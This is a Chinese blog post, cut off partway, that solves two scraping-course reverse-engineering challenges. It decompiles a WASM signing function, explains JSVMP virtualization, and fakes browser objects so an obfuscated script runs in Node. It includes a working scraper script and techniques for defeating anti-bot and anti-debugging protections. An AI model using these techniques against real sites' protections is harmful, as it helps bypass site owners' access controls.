前述 经常刷抖音有刷到一些爬虫的前端逆向直播，大多数的目的都是为了卖课，其中图灵Python看起来还是挺厉害的，所以就挑起了一些兴趣，挑一下他们出的题目，来玩一玩看一看，顺便总结一下之前的知识。 Wasm Wasm指的就是WebAssembly，这并不是一种加密算法，而是一种前端加速的措施，因为计算机最终都是通过转成二进制来识别的，而javascript是单线程的，在处理复杂的运算的时候会非常吃力。因此就出现了WebAssembly，一种底层的二进制格式，用于处理复杂的运算，让前端突破瓶颈。 比如通过引起assemblyscript依赖编译Wasm文件 npm install -g assemblyscript mkdir as-wasm && cd as-wasm npm init -y npx asinit . npm run asbuild 图灵Wasm第11题为例 点击调试，会进去无限debugger循环，需要让断在不在debugger停顿即可。 这道题的要求是通过接口直接获取页面的随机数数字，通过请求参数可以发现有3个参数，分别是_ts m page，根据含义可以看到这里的page是页数，_ts是时间戳，而m暂时不知道是什么。通过启动器发现其实就调用了pagination11.js一个js文件。 在文件中发现参数，m是调用了callEncryptFunction函数的， e其实就是调用了new Date()函数的时间戳。 e = d['iRmDq'](parseInt, Math[O(0xbc, 'IeoU')](d[O(0x97, 'b^tv')](new Date()[O(0xb8, 'jvOw')](), 0x3e8))[O(0x99, 's(3L')]()); 其实就是时间戳 d['iRmDq'](parseInt,Math["round"](d['GQcTJ'])(new Date()["getTime"](),1000)).toString() m参数由callEncryptFunction生成，传入的参数为页数和时间戳，调用encrypt函数。 function callEncryptFunction(c, d) { const F = b , f = { 'gDlFk': F(0xb2, '8WDi') }; try { const g = window['exports']['encrypt'](c, d); return g; } catch (h) { console[F(0xa1, 'wL$X')](f[F(0xc6, 'H(^%')], h); } } 这里encrypt函数就是WASM文件，分析一下WASM的代码，前面其实都是标准的代码。 (module (table $__indirect_function_table (;0;) (export "__indirect_function_table") 2 funcref) (memory $memory (;0;) (export "memory") 256) (global $global0 (mut i32) (i32.const 5243920)) (elem $elem0 (i32.const 1) (ref func) (ref.func $_initialize)) (func $_initialize (;0;) (export "_initialize") nop ) (func $stackAlloc (;1;) (export "stackAlloc") (param $var0 i32) (result i32) global.get $global0 local.get $var0 i32.sub i32.const -16 i32.and local.tee $var0 global.set $global0 local.get $var0 ) (func $stackRestore (;2;) (export "stackRestore") (param $var0 i32) local.get $var0 global.set $global0 ) (func $stackSave (;3;) (export "stackSave") (result i32) global.get $global0 ) (func $encrypt (;4;) (export "encrypt") (param $var0 i32) (param $var1 i32) (result i32) local.get $var0 local.get $var1 i32.const 3 i32.div_s i32.add i32.const 16358 i32.add ) ) 对应的js代码为 // 模拟Wasm内存（初始256页，每页64KB） const memory = new WebAssembly.Memory({ initial: 256 }); // 全局变量：栈指针（初始值5243920） let global0 = 5243920; // 间接函数表（此处仅初始化，未实际使用） const __indirect_function_table = new WebAssembly.Table({ initial: 2, element: "anyfunc" }); // 初始化函数（导出为"_initialize"） function _initialize() { // nop } // 栈分配函数（导出为"stackAlloc"） function stackAlloc(size) { // 计算新栈指针 = 当前栈指针 - 申请大小，且对齐到16字节 const newPtr = (global0 - size) & -16; global0 = newPtr; return newPtr; } // 栈恢复函数（导出为"stackRestore"） function stackRestore(ptr) { // 将栈指针恢复到指定值 global0 = ptr; } // 栈保存函数（导出为"stackSave"） function stackSave() { return global0; } // 加密函数（导出为"encrypt"） function encrypt(param0, param1) { // 逻辑：(param0 + (param1 / 3)) + 16358 return param0 + (param1 >> 1 ? Math.floor(param1 / 3) : param1 / 3) + 16358; } // 导出模块接口 const exports = { __indirect_function_table, memory, _initialize, stackAlloc, stackRestore, stackSave, encrypt }; 最终代码 function encrypt(param0, param1) { let divResult; if (param1 >= 0) { divResult = (param1 - (param1 % 3)) / 3; } else { const absParam1 = -param1; divResult = -((absParam1 + 2) / 3 | 0); // |0 用于取整 } return param0 + divResult + 16358; } import execjs, requests, time url = "https://stu.tulingpyton.cn/api/problem-detail/11/data/" headers = { 'Cookie': '', 'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.36' } file = open('index.js', 'r', encoding='utf-8').read() ctx = execjs.compile(file) for page in range(1, 5): c = page t = round(time.time()) m = ctx.call('encrypt', page, t) print(c, m, t) params = { 'page': page, 'm': m, '_ts': t } response=requests.get(url,params=params,headers=headers) print(response.text) time.sleep(2) 这里来解释下WASM的这串代码 (func $encrypt (;4;) (export "encrypt") (param $var0 i32) (param $var1 i32) (result i32) local.get $var0 local.get $var1 i32.const 3 i32.div_s i32.add i32.const 16358 i32.add ) 1、获取局部变量var0和var1压入栈中 2、取常量3压入栈中 3、div_s做有符号32位除法，从栈中弹2个值，常量3和var1,压入栈中 4、执行32位整数加法，栈中弹2个值,var1/3和var0，压入栈中 5、压入常量16358 6、弹出(var1/3)+var0和16358做加法。 jsvmp 浏览器性能的提升和调试器功能的日益完善，传统的javascript混淆技术慢慢在Web攻防中慢慢失去优势，而JSVMP作为比混淆更高一层的javascirpt代码保护技术，通过自定义虚拟机架构隐藏原始代码逻辑，将JavaScript代码转换为一种虚拟机指令集来实现代码混淆和保护，大幅提升逆向工程的难度。 JSVMP的三大核心组件： 指令集：定义虚拟CPU的操作指令，类似于Python的opCode 字节码编译器：将JS转化为自定义字节码 执行引擎：解释执行字节码 一般JSVMP的流程为： Javascript代码->语法分析->AST语法树->AST转化为VMP指令->加载进JSVMP虚拟机 -> js引擎执行代码 示例：以简单的除法为例，原始函数为： function div(a,b){ return a/b } 这时候首选需要将这串函数转化为类似于WASM的汇编代码，通过出栈入栈来转化。 const operation=[ {opcode:'LOAD',arg:'b'} {opcode:'LOAD',arg:'a'} {opcode:'div'} {opcode:'return'} ] 随后将指令集编译成字节码，可以为每个操作指令都定义一个值。 const OPCODES={ LOAD:0x01 DIV:0x02 RETURN:0x03 } 最终对应的整一个OPCODES的流程如下： 0x01 0x62 0x01 0x61 0x02 0x03 指令集需要编译成字节码，需要一个虚拟机来执行对应的指令，也就是引擎，模拟成如下代码 const operation=[ {opcode:'LOAD',arg:'b'}, {opcode:'LOAD',arg:'a'}, {opcode:'DIV'}, {opcode:'RETURN'} ] const OPCODES={ LOAD:0x01, DIV:0x02, RETURN:0x03 } function compileToBytecode(operation) { const bytecode = []; for (const operator of operation) { bytecode.push(OPCODES[operator.opcode]) if (operator.arg !== undefined) { bytecode.push(operator.arg.charCodeAt(0)); // 将参数转换为字节表示 } } return bytecode; } function VM(){ this.stack=[] this.execute=function (operation,context) { for (let i=0;i<operation.length;i++){ const operator=operation[i] switch (operator.opcode) { case 'LOAD': this.stack.push(context[operator.arg]) break; case 'DIV': const b=this.stack.pop() const a=this.stack.pop() this.stack.push(a/b) break; case 'RETURN': return this.stack.pop() } } } } //const bytecode = compileToBytecode(operation); //const hexBytecode = bytecode.map(num => `0x${num.toString(16).padStart(2, '0')}`); const vm=new VM() const result = vm.execute(operation, { a: 10, b: 100 }); console.log(result); 这其实跟WASM有点类似，那么为什么不用WASM，能编译成字节码明明更快？ WASM的诞生初衷是为了解决javascript性能不足的问题，核心优势是高性能，但并不是对前端代码的保护。 WASM与js环境是隔离的，与前端 JS 代码的数据传递、函数调用，需要通过特定的导入导出实现，环境交互成本极高。 总结一下整个JSVMP的流程和原理： 原始代码转译字节码：对需要保护的 JS 核心代码进行分析，将其拆解为基础的运算、逻辑判断、函数调用等操作，再映射为一套自定义的字节码 构建自定义虚拟机解释器：生成一个运行这些字节码的 JS 虚拟机解释器，通过指令分发器模拟堆栈 / 寄存器用于数据存储和运算，按顺序读取字节码，根据自定义的操作码规则，将字节码映射回对应的 JS 原生操作。 添加保护机制：通过加入反调试、变量名混淆、控制流扁平化、动态代码生成等等手段，将虚拟机的核心逻辑拆分到多个函数或变量中，打乱代码结构。 根据以上的实现方式，逆向JSVMP的核心可以分为以下几步： 分析虚拟机实现： 定位虚拟机入口：通过查找while和switch循环跟踪初始化的函数，找到每个操作码（opcode）和指令的具体功能。 重建指令集：从混淆后的代码中提取虚拟机指令集，构建指令-功能映射表 提取字节码：通过拿到字节码的数组，并与指令集做对应，重构原始的JavaScript代码 图灵Wasm第12题为例 1、直接看js的代码，可以看到被JSVMP处理了的前端代码，比较难人眼的复原。 2、在源代码的末尾可以发现是使用了ajax，所以首要解决的问题是引入jquery-3.6.0.min.js，还需要快速查找确实了那些浏览器的对象，引入以下函数并运行整个js代码 function MonitorObjectProperties(targetObjects) { for (let index = 0; index < targetObjects.length; index++) { const currentTarget = targetObjects[index]; const propertyList = Object.keys(currentTarget); propertyList.forEach(propName => { const propertyValue = currentTarget[propName]; if (propertyValue && typeof propertyValue === 'object' && !(propertyValue instanceof Function)) { currentTarget[propName] = new Proxy(propertyValue, { get(obj, propKey, receiver) { const resultValue = Reflect.get(obj, propKey, receiver); console.log("操作类型: get", "目标对象:", propName, "访问属性:", propKey, "属性标识类型:", `${typeof propKey}`, "获取数值:", resultValue, "数值类型:", `${typeof resultValue}`); return resultValue; }, set(obj, propKey, updatedValue, receiver) { console.log("操作类型: set", "目标对象:", propName, "修改属性:", propKey, "属性标识类型:", `${typeof propKey}`, "新赋值:", updatedValue, "数值类型:", `${typeof updatedValue}`); return Reflect.set(obj, propKey, updatedValue, receiver); } }); } if (propertyValue instanceof Function) { currentTarget[propName] = new Proxy(propertyValue, { apply(target, thisArg, args) { console.log("操作类型: apply", "目标函数:", propName, "调用参数:", args, "this 指向:", thisArg); return Reflect.apply(target, thisArg, args); }, construct(target, args, newTarget) { console.log("操作类型: construct", "目标构造函数:", propName, "实例化参数:", args, "新实例类型:", newTarget.name); return Reflect.construct(target, args, newTarget); }, get(obj, propKey, receiver) { const resultValue = Reflect.get(obj, propKey, receiver); console.log("操作类型: get", "目标函数:", propName, "访问属性:", propKey, "属性标识类型:", `${typeof propKey}`, "获取数值:", resultValue, "数值类型:", `${typeof resultValue}`); return resultValue; }, set(obj, propKey, updatedValue, receiver) { console.log("操作类型: set", "目标函数:", propName, "修改属性:", propKey, "属性标识类型:", `${typeof propKey}`, "新赋值:", updatedValue, "数值类型:", `${typeof updatedValue}`); return Reflect.set(obj, propKey, updatedValue, receiver); } }); } }); } } const systemComponents = [window]; MonitorObjectProperties(systemComponents); 通过Proxy函数起拦截作用，Reflect函数负责 “执行默认操作”，确保拦截后原有的对象行为不受影响，从而实现既能监控 window 对象的各种操作，又不破坏其原有的功能。 发现$属性现在是undefined的，需要补充ajax属性，并且报错是在977行 通过添加代码，补上$的ajax属性。 继续运行，报错了，没有width浏览器的宽度属性，继续补screen 还是报错，没有createElement属性，继续补document 继续运行，继续报错，缺少的是canvas中的getContext，以此内推，缺什么补什么。 function CanvasRenderingContext2D() { this.fillStyle = "#000000"; this.strokeStyle = "#000000"; this.lineWidth = 1; this.fillRect = function () { console.log("[模拟] 填充矩形", ...arguments); }; this.strokeRect = function () { console.log("[模拟] 绘制描边矩形", ...arguments); }; this.beginPath = function () { console.log("[模拟] 开始新路径"); }; this.moveTo = function () { console.log("[模拟] 移动笔触到坐标", ...arguments); }; this.lineTo = function () { console.log("[模拟] 绘制直线到坐标", ...arguments); }; this.arc = function () { console.log("[模拟] 绘制圆弧", ...arguments); }; this.fill = function () { console.log("[模拟] 填充路径"); }; this.stroke = function () { console.log("[模拟] 描边路径"); }; this.save = function () { console.log("[模拟] 保存绘图状态"); }; this.restore = function () { console.log("[模拟] 恢复绘图状态"); }; this.drawImage = function () { console.log("[模拟] 绘制图像", arguments[0].constructor.name); }; this.getImageData = function () { console.log("[模拟] 获取图像数据"); return { data: new Uint8ClampedArray(4 * 300 * 150) }; }; this.transform = function () { console.log("[模拟] 应用矩阵变换", ...arguments); }; this.fillText = function (ele) { console.log(ele) } } canvas2d = new CanvasRenderingContext2D() function HTMLCanvasElement() { // 模拟 getContext 方法（返回 2d 上下文） this.getContext = function (contextType) { console.log('canvas') if (contextType === '2d') { return canvas2d } }; this.toDataURL = function (contextType) { console.log('toDataURL') }; this.getAttributeNames = function (contextType) { console.log('getAttributeNames'); }; this.width = 666; this.height = 666; this.style = {}; } canvas=new HTMLCanvasElement(); div={ setAttribute:function () { console.log("div setAttribute") } } document={ createElement:function (contextType) { console.log(1) if(contextType=='canvas'){ return canvas } if(contextType=='div'){ return div } } } 最终补全为： window=global delete global aiwin_$={ 'ajax':function () { console.log(arguments) }, extend:function (argu) { console.log(arguments) window.url = arguments[2].url } } window['$']=aiwin_$ screen={ width:1 } function CanvasRenderingContext2D() { this.fillStyle = "#000000"; this.strokeStyle = "#000000"; this.lineWidth = 1; this.fillRect = function () { console.log("[模拟] 填充矩形", ...arguments); }; this.strokeRect = function () { console.log("[模拟] 绘制描边矩形", ...arguments); }; this.beginPath = function () { console.log("[模拟] 开始新路径"); }; this.moveTo = function () { console.log("[模拟] 移动笔触到坐标", ...arguments); }; this.lineTo = function () { console.log("[模拟] 绘制直线到坐标", ...arguments); }; this.arc = function () { console.log("[模拟] 绘制圆弧", ...arguments); }; this.fill = function () { console.log("[模拟] 填充路径"); }; this.stroke = function () { console.log("[模拟] 描边路径"); }; this.save = function () { console.log("[模拟] 保存绘图状态"); }; this.restore = function () { console.log("[模拟] 恢复绘图状态"); }; this.drawImage = function () { console.log("[模拟] 绘制图像", arguments[0].constructor.name); }; this.getImageData = function () { console.log("[模拟] 获取图像数据"); return { data: new Uint8ClampedArray(4 * 300 * 150) }; }; this.transform = function () { console.log("[模拟] 应用矩阵变换", ...arguments); }; this.fillText = function (ele) { console.log(ele) } } canvas2d = new CanvasRenderingContext2D() function HTMLCanvasElement() { // 模拟 getContext 方法（返回 2d 上下文） this.getContext = function (contextType) { console.log('canvas') if (contextType === '2d') { return canvas2d } }; this.toDataURL = function (contextType) { console.log('toDataURL') }; this.getAttributeNames = function (contextType) { console.log('getAttributeNames'); }; this.width = 666; this.height = 666; this.style = {}; } canvas=new HTMLCanvasElement(); div={ setAttribute:function () { console.log("div setAttribute") } } document={ createElement:function (contextType) { console.log(1) if(contextType=='canvas'){ return canvas } if(contextType=='div'){ return div } } } function MonitorObjectProperties(targetObjects) { for (let index = 0; index < targetObjects.length; index++) { const currentTarget = targetObjects[index]; const propertyList = Object.keys(currentTarget); propertyList.forEach(propName => { const propertyValue = currentTarget[propName]; if (propertyValue && typeof propertyValue === 'object' && !(propertyValue instanceof Function)) { currentTarget[propName] = new Proxy(propertyValue, { get(obj, propKey, receiver) { const resultValue = Reflect.get(obj, propKey, receiver); console.log("操作类型: get", "目标对象:", propName, "访问属性:", propKey, "属性标识类型:", `${typeof propKey}`, "获取数值:", resultValue, "数值类型:", `${typeof resultValue}`); return resultValue; }, set(obj, propKey, updatedValue, receiver) { console.log("操作类型: set", "目标对象:", propName, "修改属性:", propKey, "属性标识类型:", `${typeof propKey}`, "新赋值:", updatedValue, "数值类型:", `${typeof updatedValue}`); return Reflect.set(obj, propKey, updatedValue, receiver); } }); } }); } } const systemComponents = [window]; MonitorObjectProperties(systemComponents); const Q0Q00OQ = QOQQ; var OＯ0$ = 'jsjiami.com.v7'; function QQQO() { const OQO0QOO = (function() { return [OＯ0$, 'gIRjJsTEjeHibVEamQiNOl.FRcyYoEkFmNI.gKv7==', 'pG7dJ8oOWQu', 'AcRdMq', 'W7P0WPNcKmot', 'WP/cSCktzSou', 'W7VcNKldJqa', 'WPvDB8kMua', 'fmkurCo8W6ldNuOrxuldPmorWOe', 'j8k4W5NdM38', 'd8kWW5jECW', 'uCoobW', 'WR9hWRO', 'dCk8WQ/cNq', 'FCo+WRhcMaKYWQZdK8oDW4WoWQO', 'WQJdT3NdSra', 'WPb7E8o+W6tcSau', 'hGpdNmosWRK', 'WP/cH8o1W6nQ', 'WObrW4ddHa', 'vSocerVdNG', 'lSo/E8kgwa', 'WR3dOmoS', 'phKufSk6', 'g8oOW5zzfG', 'q8khWOrLkrCNWPmgu8oO', 'WRDEW4/dOq', 'WPneW4hcUZ4', 'W7JcGv4', 'W6JcS0FdMW', 'WRiiW5pdLrC', 'f8kFW5flFHPIWOPgw8kvW7dcG8oLn8oNimogWQTsFq', 'cXpdLmoNWOu', 'W7FcGCkDW7pcTG', 'kYbuWQxdIxS', 'jtldP8o1WPy', 'DLFdU30', 'WQ8DW77dHSkd', 'WQ8QW5u', 'bSkuW4u', 'WRNcVCosW4TU', 'W67cMSk4W5S', 'W5KJW5ddL0i', 'W7xcU8kUjLhcLmkmWRRdLmkFW6XH', 'sXhdOr3dGG', 'WR/dUNJdHcSIWRC', 'W7BdSSo8W68GWQK', 'nSoNW712oW', 'W7ukW4dcGmok', 'W6xdJCoaW7WK', 'WR95wmklEG', 'jSk9W5VdPM4', 'WPNcPCk7smoI', 'W5xdLmoHBxm', 'WQ0hW7/dRCk0', 'Be3dOxS', 'WQZdShW', 'WRb5qmoMW7W', 'rCknWOVdHSkh', 'W68JW77dVwS', 'Dmorg8kcWP0', 'j8ogCSk8zq', 'iN4EpmkH', 'kdzvWQG', 'WQO8W7pdKZa', 'WRJdO23dPSkk', 'zCoklSkPi8kNWQtcMwrDW7Hpsq', 'W6BdRCo+W6u1', 'W6xdQmoHW6q', 'WQRdQSoOraRdGSkCW4lcNG', 'CfldLL3cVW', 'WQ10W7NcOJ0', 'BmkVW7ZcRfm', 'W53dQmo0', 'fSo5WPdcQGC', 'EmkqWPZdQmkZ', 'WODFwCkjyG', 'WQFdKmo8W7qNyCkhWQFcSIJcGb/cNYW', 'WQhdVhZdQ8kx', 'nxChAXy', 'WPNdPMtdMXC', 'WRRdPXzRW7W', 'W6ldR8o9W7SQ', 'WPiYW6O', 'W4VcRvldO18', 'W7NcTKtdN3a', 'jmozBG', 'emkkW5jHuW', 'AIWQrG', 'W7BcU8k+W6tcNa', 'C8ogiXJdPG', 'pqZdG1hcLG', 'aCoDt8kpvG', 'W57dOSoWr1FdGapcGwXcrrK', 'WQf0Fmo3W5VcVXq9', 'W4dcOSkQW7VcSq', 'WOyieq', 'sW4QEYKXycG', 'jmomW4vvkW', 'p8ktWPVcVfW', 'WPOhW7VdJCkRFxlcICkhWOvC', 'WQa8s8oN', 'x13dU0BcTq', 'WRZdMgtdUWW', 'WPqYW4ldMHCwzWNdMq', 'W6BcLmk8WQS', 'WRuUWRpcQCkUxYnpjq', 'eX7dSSoFWPq', 'AJqaASkQ', 'WPNcNSoyW4T0', 'WPCrW4tdRte', 'WQpcRSoKWQas', 'W6LZWPm', 'W6mdW5VdSw8', 'fmkaW5hdH0K', 'gJRdNvBcHa', 'oatdHq', 'WOxdHb1iW50', 'iCoZWPRcHH8', 'WPzLzmo/W7K', 'jSkrW4DTAG', 'dSkkW7fjwq', 'WPeYW5xdQJO', 'WQxcISogWRy7', 'grvlWQldVa', 'WOVdNCoREqC'].concat((function() { return ['WO9eFCoZW7/cRW', 'W49WWRBcVSoV', 'tcaEt8kK', 'WQZdM3/dMmkL', 'WRNcLCoJWO8N', 'zCk1W5/cUv8', 'WOVcO8otW7LY', 'uZBdNbFdQW', 'caxdLCovWOO6W78', 'WO10Ba', 'WP7dR0JdLc0', 'W4JcGg3dPvO', 'W7a9W5tcOCoUsN5u', 'WRv8CSkuf8khW5DZdZq', 'W7NdPCoRW6O7', 'oYTCWQ/dTG', 'WQddHHPgW44', 'WOLWzSoXW7NcVG', 'WOOmW6JdMSknFehcHCkIWOu', 'W6FcLCkWW4tcNmkh', 'W7JcM13dJa', 'WOVcO8orWPiqWQLca8ogCW', 'kcXw', 'W7/dKCobW6eB', 'W5NdOSo8CMhdLqlcJwjExXK', 'WRRcVmolW5PB', 'W4FcOepdSIi', 'eLatgCkRbW', 't0PYze4KeX7cOCodxfvBW5ei', 'ySoLpSkxWR4', 'WQlcMmkk', 'WRvOW6BdH8ou', 'WOJdJtrRW5y', 'WP7dMJvsW7i', 'WOepFSopWRi', 'WPzrW54', 'oXVdMv7cUa', 'WONdHv3dQG', 'WOldMXr9W50', 'dHVdISouWPC', 'k8k7W63dJ0S', 'W6qbWOK', 'WR5NW6/dUmov', 'sCkjWONdRSk6', 'l8oMW5vdhW', 'W57cG8kUW7VcMa', 'W7/cHCkQW4S', 'WP3dNCokqI0', 'WQe8sCodWPi', 'lHldULNcJW', 'W6alWOhcRa', 'WQDwvSkFrq', 'uCoubmkT', 'W47cVKZdVKW', 'r8opW4vHo0XwWP1CtSkWWRK', 'WRFdJJDDW7m', 'naRdO8oNWOa', 'WPOrW6RdI8kRyfy', 'WQi2WPZdPbldTtJcT8kLWRfRW4q7', 'WRVcKHZdMeaaWQOdBSoSvCoWBbxdQa', 'WRxdSdD3W5C', 'rCo9W67dGIeUWP3cS8ohWO8Xaq', 'W7/cUmkQkfRcMSoDWR7dG8k8W65yaa', 'FCo0W6ZdJ39HWQFdMG', 'W6VcQL3dKgW', 'W4NcVSk/WRf+j8orW4hcHq', 'avan', 'WPPwW6FcVHW', 'srhdNIldHG', 'k2TRgmowWPxdTaCtEsGL', 'wCo4fCkaWR0', 'W6BcJSk/', 'jmodBCk9', 'p8oXWOZcIWm', 'pSkPW7ldM1L3WRVdUmoEW5WhWPdcNmkLDSohz8kiWRi', 'dCkKWOxcSvO', 'tCoofmkKWQpcJruD', 'WQrXsG', 'WQJcPSk2u8oS', 'AIldIYxcHZxcI8o2k8kIW79ZW608W5xdT2i2bmkemCkH', 'WPRcUSosWPi', 'kbLtWOhdNa', 'W7SpW6JdNey', 'W6PEWQ7cTSok', 'W4ldImovW7uV', 'mCoxBmkIzG', 'WR7dGSkAW4JcM8krW4NdUG', 'WRPZW6lcGdG', 'W6xdSSoI', 'C8oOpq', 'WRRcMSoo', 'W43cR1RdHZRcGclcHWvWWQi', 'WOaYxmo3WO84bt4', 'eLuEaSkG', 'W5ZcOCkJW6ZcSq', 'WPv6Ea', 'nMGB', 'WPLRW77cQca', 'WRPWWOrvW6a', 'kwy8mSk/', 'udrUW7BdLmo7WPZdNCkL', 'WPJcQSosWOOEWQvueSoMFNNdQeGTwahdGW7dRwq', 'WQtdLSo5W7OOzCklW5hcTtBcVHVcQa', 'W7/dGmkmWQixW7VcVSofWQ0Xi8o7mG', 'AMhdKxtcHW', 'WOX3W7RdUSok', 'W77cR1JdN13dLXVcGq', 'W5ldLCoRW6KP', 'ymo1iYtdRG', 'qmofe8kxWRlcLWOCEvVdISoYWQrAjSkxWQ5KyNrKja', 'W53dL8owDKy', 'WPbGB8ki', 'WQrRsCkN', 'lG8fW5lcHW', 'W6tcIgRdQIC', 'WQBdKX51W4m', 'WQddQSoVyGldI8kn', 'W5RdR8oyW6mn', 'vGWDrSkk', 'pmk7WQ7cLgO', 'W6JcQuq', 'WO0MW6ldOSk7', 'lmoTWPlcRtG', 'W4JcLSkRW7xcTq', 'WQldO8oqvHS', 'WOhdUCowvI8'].concat((function() { return ['BXaOr8kT', 'WRVcMCkoB8owuSoFW6SjiKe', 'WQBdU8ooqIG', 'n3aVDa0', 'WP3dLvJdNXO', 'vCksW7JcVxu', 'vs8yqmk5', 'ESkoWOVdQmktkSoKW4dcVbe', 'WPaYW7y', 'dtruWO7dMq', 'rmoKpCknWO4', 'W4VdLSoQtvy', 'WQxcMCoYW5XA', 'nCoMWRhdRsPMnqlcUSkpWRJdK8oa', 'p3WsvYu', 'w8o4W6pcN3JdVMNdRSkhd8kJ', 'WQaiE8oyWQu', 'WQxcNSo1WRGq', 'lI8YW6VcPW', 'WRFdQHTyW4m', 'WQngWQvTW4G', 'WQlcLmonW5rvWQZdNSovWOGRdCoJdrG', 'W6PSWO/cLSo9', 'zSkSWR3dG8k9', 'WOdcT8ouWRSG', 'i8o0WOFcVsm', 'WOjtW73cHJpdTXK', 'WOf5ECkswW', 'WR3dK1JdH8ky', 'W6NcVfZdOHC', 'obNdLmosWPf8W60jWPK2jmojWPqIW5qnB37cVW', 'iCoyESkWD8kYW7NcGdy', 'et0UW6i', 'oeqCyJ8', 'WQhcKSko', 'W7ZcGmk1W4RcGa', 'WQJdVrm', 'W6VdRLDnWOPiW4vctW', 'WPrYW7BdGmoj', 'WOneWRT4W5q', 'kcTtWQhdVG', 'EmoXpXRdH2pcRa', 'W6pdHSojpCksa8kdWQivkMmzWORdQq', 'WOVcNCotWRWs', 'pmkHW5RdQNu', 'kx3dHIxdRghdK8kV', 'kqLFWOVdOa', 'oSowW4T1jG', 'WRFdJb4', 'ew4nFrW', 'W5/dQCovAKq', 'WONdOL7dK8kj', 'dCkMWQW', 'cLK2', 'W7BdQCoQ', 'WRxdSdzVW5G', 'n8kXW5LDsq', 'qmotemkWWRRcGrqhza', 'WQz7ACknAG', 'W6VcQZ7cOxr/W6lcQmomWRi5cWW', '5BYP5yM75O2b5lU85lMW5AYa5zYm772U6k2N5Qg/5P6j5OYU5lQj6zMRgW', 'sCoteSkJ', 'WRawW7RdUCk/', 'vWRdPXFdHq', 'WP8dW5VdKSkb', 'B8kpWPG', 'WQNdMLZdTSkt', 'WRzwvmk1FW', 'W6y/W5NdSa', 'W7m7W6pcOCo0', 'dcTiWRxdHq', 'fSoermkVuW', 'DSoSg8kKWQe', 'jgWcsXi', 'lqddVNdcPW/dJfe', 'WQf2xSkRFG', 'WQGWASoiWRu', 'WPzwFCkHwG', 'xbldMcRdQG', 'oYzOWPddIa', 'WP7dLvRdGCknpmoBggVdLa', 'WPzHACoIW7JcPq', 'o8oqW6XBogBdIa', 'WRldMZD7W5a', 'WQxcGmoVWQKB', 'WRVdT3BdVXG', 'z8o0obS', 'm8otASkfy8k0W6pcIIzyWR1wmGq', 'WRb1W7tdV8ok', 'WQJcQmosWQSw', 'lmkwW5zyAW', 'WRuUWRpcQCkPxYbpj8ojmW', 'bmooWRa', 'WPzlW53dMa', 'D3/dLL7cGa', 'Ex3dI3FcOa', 'W6yLW5O', 'ymokl8kPi8kNWQFcMwe', 'pSomW7bhpNtdHu4Y', 'WQDKW4lcTbi', 'WO8ez8ouWRG', 'ed3dOmoUWPm', 'qmoudaRdHG', 'EfNdPNi', 'hKS5AXC', 'WQjZESoaW4W', 'f18bCWa', 'WOf7W4RdGSoN', 'WORdLcjsW6W', 'W50iWQdcQmkz', 'cmkhW6NdVgK', 'WQvZACo1W6JcUHq5W5e', 'W53dSSo3BG', 'bmkmWORcRgi', 'WOX3FmkcrG', 'W75RWOHSW5iqW7S', 'W6CZW6VcUq', 'WPGuW6FdRcK', 'C8kjWOxdJ8kg', 'lsRdV3tcTa', 'gmoRWQe', 'WORdTYnOW5S', 'cue2uYC', 'ddi3W4NcIG', 'smkUWRRdVCkU']; }())); }())); }()); QQQO = function() { return OQO0QOO; } ; return QQQO(); } function QOQQ(_0x4aea86, _0x36e8fe) { const _0x576afd = QQQO(); return QOQQ = function(_0x274772, _0x4d12b9) { _0x274772 = _0x274772 - 0x1e7; let _0x2e71a9 = _0x576afd[_0x274772]; if (QOQQ['gYcXjc'] === undefined) { var _0x351913 = function(_0x5e79fc) { const _0x1ec579 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let _0x3460f6 = '' , _0x56eb7a = ''; for (let _0x5d09b1 = 0x0, _0x3d27b0, _0x3baf31, _0x5b9f69 = 0x0; _0x3baf31 = _0x5e79fc['charAt'](_0x5b9f69++); ~_0x3baf31 && (_0x3d27b0 = _0x5d09b1 % 0x4 ? _0x3d27b0 * 0x40 + _0x3baf31 : _0x3baf31, _0x5d09b1++ % 0x4) ? _0x3460f6 += String['fromCharCode'](0xff & _0x3d27b0 >> (-0x2 * _0x5d09b1 & 0x6)) : 0x0) { _0x3baf31 = _0x1ec579['indexOf'](_0x3baf31); } for (let _0x4e3858 = 0x0, _0x13215a = _0x3460f6['length']; _0x4e3858 < _0x13215a; _0x4e3858++) { _0x56eb7a += '%' + ('00' + _0x3460f6['charCodeAt'](_0x4e3858)['toString'](0x10))['slice'](-0x2); } return decodeURIComponent(_0x56eb7a); }; const _0xa4b335 = function(_0xe47c76, _0x35d1b5) { let _0xe2f071 = [], _0x1ec36b = 0x0, _0x1eeb4c, _0x24749e = ''; _0xe47c76 = _0x351913(_0xe47c76); let _0x216b13; for (_0x216b13 = 0x0; _0x216b13 < 0x100; _0x216b13++) { _0xe2f071[_0x216b13] = _0x216b13; } for (_0x216b13 = 0x0; _0x216b13 < 0x100; _0x216b13++) { _0x1ec36b = (_0x1ec36b + _0xe2f071[_0x216b13] + _0x35d1b5['charCodeAt'](_0x216b13 % _0x35d1b5['length'])) % 0x100, _0x1eeb4c = _0xe2f071[_0x216b13], _0xe2f071[_0x216b13] = _0xe2f071[_0x1ec36b], _0xe2f071[_0x1ec36b] = _0x1eeb4c; } _0x216b13 = 0x0, _0x1ec36b = 0x0; for (let _0x53357e = 0x0; _0x53357e < _0xe47c76['length']; _0x53357e++) { _0x216b13 = (_0x216b13 + 0x1) % 0x100, _0x1ec36b = (_0x1ec36b + _0xe2f071[_0x216b13]) % 0x100, _0x1eeb4c = _0xe2f071[_0x216b13], _0xe2f071[_0x216b13] = _0xe2f071[_0x1ec36b], _0xe2f071[_0x1ec36b] = _0x1eeb4c, _0x24749e += String['fromCharCode'](_0xe47c76['charCodeAt'](_0x53357e) ^ _0xe2f071[(_0xe2f071[_0x216b13] + _0xe2f071[_0x1ec36b]) % 0x100]); } return _0x24749e; }; QOQQ['tWYplk'] = _0xa4b335, _0x4aea86 = arguments, QOQQ['gYcXjc'] = !![]; } const _0x3264a8 = _0x576afd[0x0] , _0x3b58ab = _0x274772 + _0x3264a8 , _0x39cd3b = _0x4aea86[_0x3b58ab]; return !_0x39cd3b ? (QOQQ['NVFzSW'] === undefined && (QOQQ['NVFzSW'] = !![]), _0x2e71a9 = QOQQ['tWYplk'](_0x2e71a9, _0x4d12b9), _0x4aea86[_0x3b58ab] = _0x2e71a9) : _0x2e71a9 = _0x39cd3b, _0x2e71a9; } , 